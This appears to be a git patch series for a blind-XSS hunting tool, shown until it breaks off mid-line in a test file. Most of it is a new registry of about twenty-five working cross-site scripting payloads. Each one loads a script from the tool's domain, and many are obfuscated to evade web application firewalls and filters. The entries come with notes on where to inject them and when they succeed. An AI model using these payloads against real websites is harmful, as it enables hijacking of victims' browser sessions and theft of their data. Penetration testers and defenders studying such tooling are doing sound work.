 
diff --git a/database.js b/database.js
index beacca4..402695c 100644
--- a/database.js
+++ b/database.js
@@ -156,50 +156,35 @@ PayloadFireResults.init({
 }, {
 	sequelize,
 	modelName: 'payload_fire_results',
+	// NOTE: The unbounded free-text columns (url, referer, user_agent,
+	// cookies, title, origin) are intentionally NOT indexed. A Postgres
+	// btree index entry cannot exceed ~8191 bytes, and these columns hold
+	// unbounded attacker/victim-supplied data (a large cookie/referer/url
+	// would make the whole INSERT fail with "index row requires N bytes").
+	// Only fixed-size or bounded columns are indexed. If search-by-origin is
+	// ever needed, use a hash index (USING hash) rather than btree.
 	indexes: [
 		{
-			unique: false,
-			fields: ['url'],
-			method: 'BTREE',
-		},
-		{
+			// Bounded (socket peer IP, ~45 chars max) and useful for
+			// correlating fires from the same source.
 			unique: false,
 			fields: ['ip_address'],
 			method: 'BTREE',
 		},
 		{
 			unique: false,
-			fields: ['referer'],
-			method: 'BTREE',
-		},
-		{
-			unique: false,
-			fields: ['user_agent'],
-			method: 'BTREE',
-		},
-		{
-			unique: false,
-			fields: ['cookies'],
-			method: 'BTREE',
-		},
-		{
-			unique: false,
-			fields: ['title'],
-			method: 'BTREE',
-		},
-		{
-			unique: false,
-			fields: ['origin'],
+			fields: ['was_iframe'],
 			method: 'BTREE',
 		},
 		{
 			unique: false,
-			fields: ['was_iframe'],
+			fields: ['browser_timestamp'],
 			method: 'BTREE',
 		},
 		{
+			// Used by the payload-fire list ordering (ORDER BY createdAt DESC).
 			unique: false,
-			fields: ['browser_timestamp'],
+			fields: ['createdAt'],
 			method: 'BTREE',
 		}
 	]

From 6da2c0cee56281cf4f8487d14a87c8718dc3f0aa Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Wed, 9 Sep 2026 21:51:31 +0200
Subject: [PATCH 9/9] feat(ui): expand XSS payloads with registry, new vectors,
 and usage notes

---
 front-end/src/libs/payloads.js      | 372 ++++++++++++++++++++++++++++
 front-end/src/pages/XSSPayloads.vue | 120 +++------
 front-end/test/payloads.test.js     | 137 ++++++++++
 3 files changed, 545 insertions(+), 84 deletions(-)
 create mode 100644 front-end/src/libs/payloads.js
 create mode 100644 front-end/test/payloads.test.js

diff --git a/front-end/src/libs/payloads.js b/front-end/src/libs/payloads.js
new file mode 100644
index 0000000..a4e75e3
--- /dev/null
+++ b/front-end/src/libs/payloads.js
@@ -0,0 +1,372 @@
+const utils = require('./utils.js');
+
+const html_encode = utils.html_encode;
+const urlsafe_base64_encode = utils.urlsafe_base64_encode;
+
+const CATEGORY_ATTRIBUTE_BREAKOUT = 'attribute_breakout';
+const CATEGORY_URI_BASED = 'uri_based';
+const CATEGORY_WAF_BYPASS = 'waf_bypass';
+const CATEGORY_DOM_BASED = 'dom_based';
+
+function js_attrib(base_domain) {
+    return 'var a=document.createElement("script");a.src="https://' + base_domain + '";document.body.appendChild(a);';
+}
+
+function b64_js(base_domain) {
+    return html_encode(urlsafe_base64_encode(js_attrib(base_domain)));
+}
+
+function case_mix(value) {
+    return value.split('').map((character, index) => {
+        return index % 2 === 0 ? character.toLowerCase() : character.toUpperCase();
+    }).join('');
+}
+
+function entity_encode(value) {
+    return value.split('').map((character) => {
+        return '&#' + character.charCodeAt(0) + ';';
+    }).join('');
+}
+
+function from_char_code(js) {
+    return 'eval(String.fromCharCode(' + js.split('').map((character) => {
+        return character.charCodeAt(0);
+    }).join(',') + '))';
+}
+
+const categories = [
+    { id: CATEGORY_ATTRIBUTE_BREAKOUT, label: 'Attribute Breakouts' },
+    { id: CATEGORY_URI_BASED, label: 'URI / Link-Based' },
+    { id: CATEGORY_WAF_BYPASS, label: 'WAF & Filter Bypass' },
+    { id: CATEGORY_DOM_BASED, label: 'DOM-Based' },
+    { id: 'all', label: 'All' },
+];
+
+const payloads = [
+    {
+        'id': 'basic_script',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': 'Basic <code>&lt;script&gt;</code> Tag Payload',
+        'description': 'Classic payload',
+        'func': function(base_domain) {
+            return "\"><script src=\"https://" + base_domain + "\"><\/script>";
+        },
+        'example': 'Inject into raw HTML output, e.g. a field rendered as <code>&lt;p&gt;PAYLOAD&lt;/p&gt;</code>.',
+        'caveats': 'Fails if the app HTML-encodes quotes or filters <code>script</code> tags. Blocked by strict CSP (<code>script-src</code>).',
+        'when': 'Works when your input lands in unencoded HTML output in any tag context.',
+    },
+    {
+        'id': 'javascript_uri',
+        'category': CATEGORY_URI_BASED,
+        'title': '<code>javascript:</code> URI Payload',
+        'description': 'Link-based XSS',
+        'func': function(base_domain) {
+            return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + base_domain + "\\';document.body.appendChild(a)')";
+        },
+        'example': 'Inject as an attribute value: <code>&lt;a href="PAYLOAD"&gt;Click&lt;/a&gt;</code>.',
+        'caveats': 'Requires a user click. Blocked if the app restricts URI schemes.',
+        'when': 'Works when input is reflected into <code>href</code>/<code>src</code> attributes without scheme filtering.',
+    },
+    {
+        'id': 'input_onfocus',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;input&gt;</code> Tag Payload',
+        'description': 'HTML5 input-based payload',
+        'func': function(base_domain) {
+            return "\"><input onfocus=eval(atob(this.id)) id=" + b64_js(base_domain) + " autofocus>";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;input value="PAYLOAD"&gt;</code> — the leading <code>"&gt;</code> breaks out.',
+        'caveats': 'Needs focus to land on the element; <code>autofocus</code> can be blocked in sandboxed iframes. The loader is base64-encoded to dodge filters.',
+        'when': 'Works for input reflected inside a double-quoted HTML attribute without encoding.',
+    },
+    {
+        'id': 'image_onerror',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;img&gt;</code> Tag Payload',
+        'description': 'Image-based payload',
+        'func': function(base_domain) {
+            return "\"><img src=x id=" + b64_js(base_domain) + " onerror=eval(atob(this.id))>";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;div title="PAYLOAD"&gt;</code>.',
+        'caveats': 'Fails if <code>img</code> or <code>onerror</code> is filtered. Blocked if images/event handlers are sanitized.',
+        'when': 'Works for attribute injection; fires immediately on parse with no user interaction.',
+    },
+    {
+        'id': 'video_source',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;video&gt;&lt;source&gt;</code> Tag Payload',
+        'description': 'Video-based payload',
+        'func': function(base_domain) {
+            return "\"><video><source onerror=eval(atob(this.id)) id=" + b64_js(base_domain) + ">";
+        },
+        'example': 'Inject into a quoted attribute, e.g. <code>&lt;img alt="PAYLOAD"&gt;</code>.',
+        'caveats': 'Useful when <code>img</code> is filtered but media tags are allowed.',
+        'when': 'Works for attribute injection where the filter blocks <code>img</code> but not <code>video</code>/<code>source</code>.',
+    },
+    {
+        'id': 'iframe_srcdoc',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;iframe srcdoc=</code> Tag Payload',
+        'description': 'iframe-based payload',
+        'func': function(base_domain) {
+            return "\"><iframe srcdoc=\"&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;" + base_domain + "&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;div data-x="PAYLOAD"&gt;</code>.',
+        'caveats': 'The <code>srcdoc</code> content is HTML-entity encoded to survive attribute parsing. Fails if <code>iframe</code> tags or <code>srcdoc</code> are stripped.',
+        'when': 'Works for attribute injection where nested markup must survive attribute-value parsing.',
+    },
+    {
+        'id': 'xmlhttprequest_load',
+        'category': CATEGORY_WAF_BYPASS,
+        'title': 'XMLHttpRequest Payload',
+        'description': 'Inline execution chainload payload',
+        'func': function(base_domain) {
+            return '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://' + base_domain + '");a.send();<\/script>';
+        },
+        'example': 'Inject into raw HTML where inline scripts run: <code>&lt;div&gt;PAYLOAD&lt;/div&gt;</code>.',
+        'caveats': 'Requires CORS from your hunter domain for the read, and <code>unsafe-eval</code> if CSP is present. Long payload.',
+        'when': 'Works when the WAF strips <code>&lt;script src=...&gt;</code> patterns but allows inline script blocks.',
+    },
+    {
+        'id': 'jquery_chainload',
+        'category': CATEGORY_DOM_BASED,
+        'title': '<code>$.getScript()</code> (jQuery) Payload',
+        'description': 'Chainload payload for sites with jQuery',
+        'func': function(base_domain) {
+            return '<script>$.getScript("https://' + base_domain + '")<\/script>';
+        },
+        'example': 'Inject into raw HTML on a page that loads jQuery.',
+        'caveats': 'Throws (silently) if jQuery is not present when the payload runs.',
+        'when': 'Works when inline scripts execute and jQuery is loaded; shorter than the XHR variant.',
+    },
+    {
+        'id': 'svg_onload',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;svg onload&gt;</code> Tag Payload',
+        'description': 'SVG-based payload',
+        'func': function(base_domain) {
+            return "\"><svg onload=eval(atob(this.id)) id=" + b64_js(base_domain) + ">";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;div title="PAYLOAD"&gt;</code>.',
+        'caveats': 'Fails if <code>svg</code> or <code>onload</code> is filtered.',
+        'when': 'Works for attribute injection where <code>img</code> is filtered but <code>svg</code> is allowed; fires immediately on parse.',
+    },
+    {
+        'id': 'details_ontoggle',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;details open ontoggle&gt;</code> Tag Payload',
+        'description': 'Details/summary-based payload',
+        'func': function(base_domain) {
+            return "\"><details open ontoggle=eval(atob(this.id)) id=" + b64_js(base_domain) + ">";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;span data-id="PAYLOAD"&gt;</code>.',
+        'caveats': 'Needs the <code>open</code> attribute for <code>ontoggle</code> to fire automatically. Fails if <code>details</code> is stripped.',
+        'when': 'Works for attribute injection where <code>svg</code> is blocked but <code>details</code> passes.',
+    },
+    {
+        'id': 'body_onload',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;body onload&gt;</code> Tag Payload',
+        'description': 'Body element payload',
+        'func': function(base_domain) {
+            return "\"><body onload=eval(atob(this.id)) id=" + b64_js(base_domain) + ">";
+        },
+        'example': 'Inject into HTML <code>&lt;head&gt;</code> output or a <code>document.write()</code> sink.',
+        'caveats': 'Injecting a second <code>&lt;body&gt;</code> into an already-parsed page does NOT fire <code>onload</code>. Only fires when the payload is part of the initial document parse.',
+        'when': 'Works for head/document.write injection where event-handler tags are filtered but <code>body</code> passes.',
+    },
+    {
+        'id': 'marquee_onstart',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;marquee onstart&gt;</code> Tag Payload',
+        'description': 'Legacy marquee payload',
+        'func': function(base_domain) {
+            return "\"><marquee onstart=eval(atob(this.id)) id=" + b64_js(base_domain) + ">";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;td title="PAYLOAD"&gt;</code>.',
+        'caveats': 'Legacy element — browsers still execute it for compatibility, but some sanitizers strip it. Consider it a niche fallback.',
+        'when': 'Works when modern tags are filtered but the filter misses legacy elements.',
+    },
+    {
+        'id': 'select_autofocus',
+        'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+        'title': '<code>&lt;select autofocus&gt;</code> Tag Payload',
+        'description': 'Select-element payload',
+        'func': function(base_domain) {
+            return "\"><select autofocus onfocus=eval(atob(this.id)) id=" + b64_js(base_domain) + ">";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;input name="PAYLOAD"&gt;</code>.',
+        'caveats': 'If <code>autofocus</code> is stripped, the payload still fires when the user clicks the element.',
+        'when': 'Works for attribute injection where input/img are filtered but <code>select</code> passes.',
+    },
+    {
+        'id': 'anchor_javascript',
+        'category': CATEGORY_URI_BASED,
+        'title': '<code>&lt;a href="javascript:"&gt;</code> Tag Payload',
+        'description': 'Clickable link payload',
+        'func': function(base_domain) {
+            return "<a href=\"javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + base_domain + "\\';document.body.appendChild(a)')\">Click here</a>";
+        },
+        'example': 'Inject into raw HTML output: the payload renders as a clickable link.',
+        'caveats': 'Requires a user click. Blocked by URI-scheme filters.',
+        'when': 'Works for raw HTML injection where script tags are filtered but anchor tags and javascript: URIs pass.',
+    },
+    {
+        'id': 'meta_refresh',
+        'category': CATEGORY_URI_BASED,
+        'title': '<code>&lt;meta http-equiv="refresh"&gt;</code> Payload',
+        'description': 'Meta-refresh based payload',
+        'func': function(base_domain) {
+            return "<meta http-equiv=\"refresh\" content=\"0;url=javascript:var a=document.createElement('script');a.src='https://" + base_domain + "';document.body.appendChild(a)\">";
+        },
+        'example': 'Inject into HTML <code>&lt;head&gt;</code> output.',
+        'caveats': 'Blocked in Firefox. Avoid spaces/newlines inside the javascript: URL — this payload uses a space-free loader for that reason.',
+        'when': 'Works (Chrome/Edge) for head injection where script tags are filtered but meta tags pass.',
+    },
+    {
+        'id': 'object_data',
+        'category': CATEGORY_URI_BASED,
+        'title': '<code>&lt;object data="javascript:"&gt;</code> Payload',
+        'description': 'Object-element payload',
+        'func': function(base_domain) {
+            return "<object data=\"javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + base_domain + "\\';document.body.appendChild(a)')\">";
+        },
+        'example': 'Inject into raw HTML output.',
+        'caveats': 'Legacy vector — modern Chrome/Firefox mostly ignore javascript: in object data. Prefer iframe or SVG variants.',
+        'when': 'Rarely works on modern browsers; useful against old embedded browsers (kiosks, legacy apps).',
+    },
+    {
+        'id': 'iframe_data_uri',
+        'category': CATEGORY_URI_BASED,
+        'title': '<code>&lt;iframe src="data:text/html"&gt;</code> Payload',
+        'description': 'data: URI iframe payload',
+        'func': function(base_domain) {
+            return "<iframe src=\"data:text/html," + encodeURIComponent("<script src=\"https://" + base_domain + "\"><\/script>") + "\">";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;iframe src="PAYLOAD"&gt;</code>.',
+        'caveats': 'The embedded document has an opaque origin; the hunter script still loads, but sandboxed iframes or frame-src CSP may block it.',
+        'when': 'Works for attribute injection where the value is expected to be a URL and script-tag injection is not possible.',
+    },
+    {
+        'id': 'svg_xlink_href',
+        'category': CATEGORY_URI_BASED,
+        'title': '<code>&lt;svg&gt;&lt;a xlink:href&gt;</code> Payload',
+        'description': 'SVG link payload',
+        'func': function(base_domain) {
+            return "<svg><a xlink:href=\"javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + base_domain + "\\';document.body.appendChild(a)')\" href=\"javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + base_domain + "\\';document.body.appendChild(a)')\"><text>Click</text></a></svg>";
+        },
+        'example': 'Inject into raw HTML output; the payload renders as a clickable SVG text.',
+        'caveats': 'Requires a user click. Both <code>xlink:href</code> and <code>href</code> are included for browser compatibility (SVG2 uses href).',
+        'when': 'Works when the filter allows svg/a markup and javascript: URIs, and the victim can be lured to click.',
+    },
+    {
+        'id': 'case_mixed_onerror',
+        'category': CATEGORY_WAF_BYPASS,
+        'title': 'Case-Mixed <code>OnErRoR</code> Payload',
+        'description': 'Case-obfuscated image payload',
+        'func': function(base_domain) {
+            return case_mix("\"><img src=x") + " id=" + b64_js(base_domain) + " " + case_mix("onerror") + "=eval(atob(this.id))>";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;div title="PAYLOAD"&gt;</code>.',
+        'caveats': 'HTML is case-insensitive, so this only evades naive keyword filters that match lowercase exactly. Real WAFs are rarely fooled by it alone.',
+        'when': 'Use when a filter blocks <code>onerror</code>/<code>img</code> literally; fires immediately on parse.',
+    },
+    {
+        'id': 'entity_encoded_breakout',
+        'category': CATEGORY_WAF_BYPASS,
+        'title': 'HTML Entity Breakout Payload',
+        'description': 'Entity-encoded attribute breakout',
+        'func': function(base_domain) {
+            return entity_encode('">') + "<img src=x id=" + b64_js(base_domain) + " onerror=eval(atob(this.id))>";
+        },
+        'example': 'Inject into a quoted attribute; the entities decode to <code>"&gt;</code> at render time and break out.',
+        'caveats': 'Fails if the app double-encodes output (the entities would be visible as text). Pointless if the app already renders raw quotes.',
+        'when': 'Use when input validators reject literal <code>"&lt;&gt;</code> characters but the app renders them as HTML.',
+    },
+    {
+        'id': 'no_space_onerror',
+        'category': CATEGORY_WAF_BYPASS,
+        'title': 'No-Space <code>onerror</code> Payload',
+        'description': 'Space-free attribute payload',
+        'func': function(base_domain) {
+            return "<img/src=x/onerror=eval(atob(this.id))/id=" + b64_js(base_domain) + ">";
+        },
+        'example': 'Inject into a quoted attribute: <code>&lt;div title="PAYLOAD"&gt;</code>.',
+        'caveats': 'Relies on browsers parsing attributes separated by <code>/</code> instead of whitespace. Fails if the app normalizes markup.',
+        'when': 'Use when the filter strips spaces or whitespace-normalizes attribute lists.',
+    },
+    {
+        'id': 'protocol_relative_script',
+        'category': CATEGORY_WAF_BYPASS,
+        'title': 'Protocol-Relative <code>script src=//</code> Payload',
+        'description': 'Scheme-less script payload',
+        'func': function(base_domain) {
+            return '<script src="//' + base_domain + '"><\/script>';
+        },
+        'example': 'Inject into raw HTML output.',
+        'caveats': 'Inherits http/https from the page; broken on <code>file:</code> pages. Blocked if the filter strips <code>//</code> URLs.',
+        'when': 'Use when the app strips <code>http://</code> or <code>https://</code> strings from URLs.',
+    },
+    {
+        'id': 'from_char_code_loader',
+        'category': CATEGORY_WAF_BYPASS,
+        'title': '<code>String.fromCharCode</code> Loader Payload',
+        'description': 'Obfuscated inline script payload',
+        'func': function(base_domain) {
+            return '<script>' + from_char_code(js_attrib(base_domain)) + '<\/script>';
+        },
+        'example': 'Inject into raw HTML output.',
+        'caveats': 'Blocked by CSP <code>unsafe-eval</code>. Long payload; the entire loader including your domain is hidden as char codes.',
+        'when': 'Use when the WAF blocks the literal hunter domain or <code>script src=</code> patterns in script blocks.',
+    },
+    {
+        'id': 'template_literal_loader',
+        'category': CATEGORY_WAF_BYPASS,
+        'title': 'Backtick Template Literal Loader Payload',
+        'description': 'Quote-free inline script payload',
+        'func': function(base_domain) {
+            return '<script>document.body.appendChild(Object.assign(document.createElement(`script`),{src:`https://' + base_domain + '`}))<\/script>';
+        },
+        'example': 'Inject into raw HTML output.',
+        'caveats': 'Uses no single or double quotes — only backticks. Does not work on legacy browsers without template literal support.',
+        'when': 'Use when the filter escapes or strips single/double quotes but leaves backticks alone.',
+    },
+    {
+        'id': 'jquery_html_sink',
+        'category': CATEGORY_DOM_BASED,
+        'title': '<code>innerHTML</code> / jQuery <code>.html()</code> Sink Payload',
+        'description': 'DOM sink fragment payload',
+        'func': function(base_domain) {
+            return "<img src=x id=" + b64_js(base_domain) + " onerror=eval(atob(this.id))>";
+        },
+        'example': 'Inject directly into a JS sink: <code>$("#output").html(PAYLOAD)</code> or <code>element.innerHTML = PAYLOAD</code>. No attribute breakout needed.',
+        'caveats': 'Only valid when input lands inside a JS string that feeds an HTML sink. In an attribute context it renders as literal text.',
+        'when': 'Works for DOM XSS sinks where the app itself inserts your input into the DOM via innerHTML/html().',
+    },
+    {
+        'id': 'postmessage_receiver',
+        'category': CATEGORY_DOM_BASED,
+        'title': '<code>postMessage</code> Receiver Payload',
+        'description': 'Message-triggered payload',
+        'func': function(base_domain) {
+            return "<script>addEventListener('message',function(e){var a=document.createElement('script');a.src='https://" + base_domain + "';document.body.appendChild(a)})<\/script>";
+        },
+        'example': 'Inject a full script block into a page that receives <code>window.postMessage</code> calls from other windows.',
+        'caveats': 'Fires only when the victim page receives a postMessage. The listener is not origin-filtered on purpose (maximize reachability).',
+        'when': 'Use when you can inject a full script block and want the payload to fire when messages flow (e.g. OAuth/payment popup flows).',
+    },
+];
+
+const helpers = {
+    js_attrib: js_attrib,
+    b64_js: b64_js,
+    case_mix: case_mix,
+    entity_encode: entity_encode,
+    from_char_code: from_char_code,
+};
+
+module.exports = {
+    categories: categories,
+    payloads: payloads,
+    helpers: helpers,
+};
diff --git a/front-end/src/pages/XSSPayloads.vue b/front-end/src/pages/XSSPayloads.vue
index 96ac496..26ae573 100644
--- a/front-end/src/pages/XSSPayloads.vue
+++ b/front-end/src/pages/XSSPayloads.vue
@@ -7,13 +7,23 @@
                         <div>
                             <h1><i class="fas fa-file-code"></i> XSS Payloads</h1>
                         </div>
-                        <card v-for="payload in payloads">
+                        <ul class="nav nav-pills nav-pills-secondary mb-3">
+                            <li class="nav-item" v-for="category in categories" v-bind:key="category.id">
+                                <a class="nav-link" v-bind:class="{active: active_category === category.id}" v-on:click.prevent="active_category = category.id" href="#">{{category.label}}</a>
+                            </li>
+                        </ul>
+                        <card v-for="payload in visible_payloads" v-bind:key="payload.id">
                             <h4 class="card-title" v-html="payload.title"></h4>
                             <h6 class="card-subtitle mb-2 text-muted">{{payload.description}}</h6>
                             <p class="card-text">
-                                <base-input type="text" v-bind:value="payload.func()" placeholder="..."></base-input>
+                                <base-input type="text" v-bind:value="payload_value(payload)" placeholder="..."></base-input>
                             </p>
-                            <base-button type="primary" v-clipboard:copy="payload.func()"><i class="far fa-copy"></i> Copy Payload</base-button>
+                            <base-button type="primary" v-clipboard:copy="payload_value(payload)"><i class="far fa-copy"></i> Copy Payload</base-button>
+                            <div class="payload-notes mt-3">
+                                <p class="payload-note mb-2"><span class="payload-note-label">Example:</span> <span v-html="payload.example"></span></p>
+                                <p class="payload-note mb-2"><span class="payload-note-label">Caveats:</span> <span v-html="payload.caveats"></span></p>
+                                <p class="payload-note mb-0"><span class="payload-note-label">When it works:</span> <span v-html="payload.when"></span></p>
+                            </div>
                         </card>
                     </div>
                 </card>
@@ -22,103 +32,38 @@
     </div>
 </template>
 <script>
-import config from '@/config';
-import Vue from "vue";
 import api_request from '@/libs/api.js';
-import router from "@/router/index";
-import utils from '@/libs/utils';
-const html_encode = utils.html_encode;
-const urlsafe_base64_encode = utils.urlsafe_base64_encode;
+import payloads_module from '@/libs/payloads.js';
 
 export default {
     data() {
         return {
-            payloads: [
-                {
-                    'func': this.basic_script,
-                    'title': 'Basic <code>&lt;script&gt;</code> Tag Payload',
-                    'description': 'Classic payload',
-                },
-                {
-                    'func': this.javascript_uri,
-                    'title': '<code>javascript:</code> URI Payload',
-                    'description': 'Link-based XSS',
-                },
-                {
-                    'func': this.input_onfocus,
-                    'title': '<code>&lt;input&gt;</code> Tag Payload',
-                    'description': 'HTML5 input-based payload',
-                },
-                {
-                    'func': this.image_onerror,
-                    'title': '<code>&lt;img&gt;</code> Tag Payload',
-                    'description': 'Image-based payload',
-                },
-                {
-                    'func': this.video_source,
-                    'title': '<code>&lt;video&gt;&lt;source&gt;</code> Tag Payload',
-                    'description': 'Video-based payload',
-                },
-                {
-                    'func': this.iframe_srcdoc,
-                    'title': '<code>&lt;iframe srcdoc=</code> Tag Payload',
-                    'description': 'iframe-based payload',
-                },
-                {
-                    'func': this.xmlhttprequest_load,
-                    'title': 'XMLHttpRequest Payload',
-                    'description': 'Inline execution chainload payload',
-                },
-                {
-                    'func': this.jquery_chainload,
-                    'title': '<code>$.getScript()</code> (jQuery) Payload',
-                    'description': 'Chainload payload for sites with jQuery',
-                },
-            ],
-
+            categories: payloads_module.categories,
+            payloads: payloads_module.payloads,
+            active_category: payloads_module.categories[0].id,
             base_domain: '',
         }
     },
-    watch: {},
-    methods: {
-        js_attrib: function() {
-            return 'var a=document.createElement("script");a.src="https://' + this.base_domain + '";document.body.appendChild(a);';
-        },
-        basic_script: function() {
-            return "\"><script src=\"https://" + this.base_domain + "\"><\/script>";
-        },
-        javascript_uri: function() {
-            return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + this.base_domain + "\\';document.body.appendChild(a)')";
-        },
-        input_onfocus: function() {
-            return "\"><input onfocus=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + " autofocus>";
-        },
-        image_onerror: function() {
-            return "\"><img src=x id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + " onerror=eval(atob(this.id))>";;
-        },
-        video_source: function() {
-            return "\"><video><source onerror=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + ">";
+    computed: {
+        visible_payloads: function() {
+            if (this.active_category === 'all') {
+                return this.payloads;
+            }
+            return this.payloads.filter((payload) => payload.category === this.active_category);
         },
-        iframe_srcdoc: function() {
-            return "\"><iframe srcdoc=\"&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;" + this.base_domain + "&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">";
-        },
-        xmlhttprequest_load: function() {
-            return '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://' + this.base_domain + '");a.send();<\/script>'
-        },
-        jquery_chainload: function() {
-            return '<script>$.getScript("https://' + this.base_domain + '")<\/script>';
+    },
+    methods: {
+        payload_value: function(payload) {
+            return payload.func(this.base_domain);
         },
     },
-    computed: {},
-    components: {},
     async mounted() {
         // For debugging
         window.app = this;
 
         // Base domain
         this.base_domain = api_request.BASE_DOMAIN;
-    },
-    beforeDestroy() {}
+    }
 };
 </script>
 <style>
@@ -126,4 +71,11 @@ export default {
     color: #d3d3d7 !important;
     display: inline;
 }
-</style>
\ No newline at end of file
+.payload-note {
+    color: #d3d3d7;
+    font-size: 0.9rem;
+}
+.payload-note-label {
+    font-weight: bold;
+}
+</style>
diff --git a/front-end/test/payloads.test.js b/front-end/test/payloads.test.js
new file mode 100644
index 0000000..01d1ef6
--- /dev/null
+++ b/front-end/test/payloads.test.js
@@ -0,0 +1,137 @@
+const payloads_module = require('../src/libs/payloads.js');
+
+const DOMAIN = 'xss.test';
+const { payloads, categories, helpers } = payloads_module;
+
+const ALLOWED_CATEGORY_IDS = ['attribute_breakout', 'uri_based', 'waf_bypass', 'dom_based'];
+
+let passed = 0;
+
+function check(name, condition) {
+    if (!condition) {
+        throw new Error('FAILED: ' + name);
+    }
+    passed += 1;
+    console.log('ok - ' + name);
+}
+
+// Module shape
+check('module exports payloads array', Array.isArray(payloads));
+check('module exports categories array', Array.isArray(categories));
+check('module exports helpers', typeof helpers === 'object' && helpers !== null);
+
+// Categories
+check('categories have expected order', categories.map((c) => c.id).join(',') ===
+    'attribute_breakout,uri_based,waf_bypass,dom_based,all');
+categories.forEach((category) => {
+    check('category ' + category.id + ' has label', typeof category.label === 'string' && category.label.length > 0);
+});
+
+// Every payload entry is complete
+payloads.forEach((payload) => {
+    const label = payload.id;
+    check(label + ' has id', typeof payload.id === 'string' && payload.id.length > 0);
+    check(label + ' has valid category', ALLOWED_CATEGORY_IDS.indexOf(payload.category) !== -1);
+    check(label + ' has title', typeof payload.title === 'string' && payload.title.length > 0);
+    check(label + ' has description', typeof payload.description === 'string' && payload.description.length > 0);
+    check(label + ' func returns string', typeof payload.func === 'function' && typeof payload.func(DOMAIN) === 'string');
+    check(label + ' has example', typeof payload.example === 'string' && payload.example.length > 0);
+    check(label + ' has caveats', typeof payload.caveats === 'string' && payload.caveats.length > 0);
+    check(label + ' has when', typeof payload.when === 'string' && payload.when.length > 0);
+});
+
+// Existing payloads preserved (golden values)
+const by_id = {};
+payloads.forEach((p) => { by_id[p.id] = p; });
+
+check('basic_script golden', by_id.basic_script.func(DOMAIN) ===
+    '"><script src="https://xss.test"></script>');
+check('jquery_chainload golden', by_id.jquery_chainload.func(DOMAIN) ===
+    '<script>$.getScript("https://xss.test")</script>');
+check('xmlhttprequest_load golden', by_id.xmlhttprequest_load.func(DOMAIN) ===
+    '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://xss.test");a.send();</script>');
+check('javascript_uri golden', by_id.javascript_uri.func(DOMAIN) ===
+    "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://xss.test\\';document.body.appendChild(a)')");
+check('input_onfocus golden', by_id.input_onfocus.func(DOMAIN) ===
